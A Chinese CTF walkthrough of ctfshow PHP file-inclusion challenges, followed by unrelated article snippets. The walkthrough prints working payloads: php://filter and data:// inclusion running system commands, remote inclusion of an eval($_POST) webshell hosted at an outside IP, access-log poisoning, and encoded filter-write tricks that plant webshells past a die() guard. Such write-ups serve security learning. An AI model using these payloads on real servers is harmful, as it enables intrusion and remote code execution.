ctfshow-文件包含

embedded/2024/12/20 19:08:35/

78-php&http协议

GET传参,参数为file,没有过滤,直接包含

解法一(filter)

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64,解码之后则为flag.php的内容

解法二(input)

payload: 
?file=php://input post:<?php system('ls');?>
?file=php://input post:<?php system('tac flag.php');?>//tac和cat都可以

使用input,post里执行php代码,系统命令

解法三(远程文件包含 传shell)

payload: ?file=http://47.99.124.145/1.txt 
远程1.txt: <?php @eval($_POST['pass']);?> 

在服务器上创建一个1.txt,内容为一句话木马,使用file访问1.txt,解析一句话木马,连接shell

79-data&http协议

php被过滤为???,无法绕过,选择不使用php,使用data://

解法一(data)

file=data://text/plain,<?=system('tac fl*');?>

php被过滤了,这里的<?php system('');?>要写成<?=system('');?>

解法二(data-base64)

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

先将后面的base64值改为<?php system('ls');?>的base64值,传参执行,在将base64的值改为<?php system('tac flag.php');?>

解法三(远程文件包含 传shell)

payload:

?file=http://47.99.124.145/1.txt 

1.txt:

<?php @eval($_POST['pass']);?>

80-日志包含

过滤php,data关键字

ctfshow是nginx服务,日志文件目录/var/log/nginx/access.log

解法一(包含日志文件)

日志文件包含ua信息,我们在ua中插入一句话木马

解法二(远程文件包含)

81-日志包含

过滤php、data、:

解法一(包含日志文件)

包含日志文件可以直接包含马,也可以执行命令

87-php://filter/write&加密编码

分析:

file:GET传参

content:POST传参

过滤php、data、:、.

file_put_contents文件写入(并且进行一次url解码)

绕过die

解法:

我们file传参使用php://filter,在进行url编码

content传参写入ROT13编码后的一句话木马

payload:(要对payload进行二次URL全编码)

php://filter/write=string.rot13/resource=shell.php

Nodepad++可以进行URL全编码

两次URL全编码后Payload

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

content:

<?cuc riny($_CBFG['cnff']);?>

shell.php一句话木马成功写入

还可以使用php://filter/write=convert.base64-decode/resource=test.php

<?php eval($_POST['pass']);?>

payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%34%25%36%35%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30

content:aaPD9waHAgZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4=

(前面两个a是因为不加a会报错,字节流不符合)

88-data&base64协议

过滤了很多字符,没有过滤data,使用data-base64绕过

解法

由于直接构造base64编码后也有被过滤的字符,所以我们添加无用字符,使构造后的base64中不含有被过滤字符

116-misc+文件包含

打开是一个mp4文件,下载

放入随波逐流

binwalk发现有一个png

foremost分离出png

file参数,GET传参

过滤了很多关键字,但是有file_get_contents函数读取文件,我们直接传参

?file=flag.php

117-php://filter/write-iconv.UCS-2LE.UCS-2BE

最后的结果是将<?php die();?>和contents的内容写入file

过滤了rot13、base64等,我们使用其他过滤器

绕过死亡die

我们使用convert.iconv过滤器,将正常的die代码转变为不正常的代码,将我们输入的不正常的代码转换为正常代码

php脚本:(用来生成content值)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

类似于rot13,经过两次反转之后可以变为原来的内容,因此我们将第一次反转的值写入content,这样在通过filter再写入文件会进行第二次反转,最后写入文件的内容还是<?php eval($_POST[a]);?>,经过第二次反转之后die函数也被破坏,从而绕过die

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents:?<hp pvela$(P_SO[T]a;)>?


http://www.ppmy.cn/embedded/147333.html

相关文章

Scala的泛型界限

泛型界限 上限 泛型的上限&#xff0c;下限。对类型的更加具体的约束&#xff01; 如果给某个泛型设置了上界&#xff1a;这里的类型必须是上界 如果给某个泛型设置了下界&#xff1a;这里的类型必须是下界

【机器学习】——无监督学习:KMeans

文章目录 聚类代码实现&#xff1a;练习案例&#xff1a;葡萄酒风格聚类可视化&#xff1a; 聚类之后的可视化 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/fa7b067d49b346f78890fe23af7e0006.png) 原始数据可视化&#xff1a; ![在这里插入图片描述](https://i-b…

51单片机--- 串口控制仿真

51单片机--- 串口控制仿真 实验目标:51单片机接收串口数据,根据数据点亮LED。 实验步骤: 在Proteus里画出原理图 在Keil里用C语言编写程序 在Proteus中导入HEX文件,启动仿真 实验协议: 波特率115200 数据位:8位,停止位:1位,校验位:无。 命令格式: 一条命令为…

基于智能电能表的智能家居能源管理系统设计

目录 引言系统设计 硬件设计软件设计系统功能模块 电能测量模块数据传输模块能源管理模块控制算法 数据采集与处理算法能源优化算法代码实现 电能测量模块实现数据传输模块实现系统调试与优化结论与展望 1. 引言 随着智能家居的发展&#xff0c;电能管理成为智能家居系统中的…

unity shader中的逐像素光源和逐顶点光源

在Unity Shader中&#xff0c;逐像素光源和逐顶点光源是两种不同的光照计算方法&#xff0c;它们之间存在显著的区别。 一、基本原理 逐顶点光源&#xff1a;这种方法在顶点着色器中计算每个顶点的光照值。然后&#xff0c;在片段着色器中&#xff0c;通过插值算法将这些顶点…

网络编程 03:端口的定义、分类,端口映射,通过 Java 实现了 IP 和端口的信息获取

一、概述 记录时间 [2024-12-19] 前置文章&#xff1a; 网络编程 01&#xff1a;计算机网络概述&#xff0c;网络的作用&#xff0c;网络通信的要素&#xff0c;以及网络通信协议与分层模型 网络编程 02&#xff1a;IP 地址&#xff0c;IP 地址的作用、分类&#xff0c;通过 …

Springboot静态资源

默认位置 静态资源访问目录下的资源可以直接访问&#xff0c;默认的四个位置 classpath:/META-INF/resources/&#xff08;默认加载&#xff0c;不受自定义配置的影响&#xff09; classpath:/resources/ classpath:/static/ classpath:/public/ 如果在静态目录下存在favic…

【docker】列出与特定镜像名相关的镜像

目录 1. 说明2. 列出所有镜像3. 使用镜像名过滤4. 列出特定标签的镜像5. 结合多个过滤条件6. 使用 JSON 格式和 jq 工具 1. 说明 1.在 Docker 中&#xff0c;如果你想列出与特定镜像名相关的镜像&#xff0c;可以使用 docker images 命令并结合过滤选项&#xff08;如 --filte…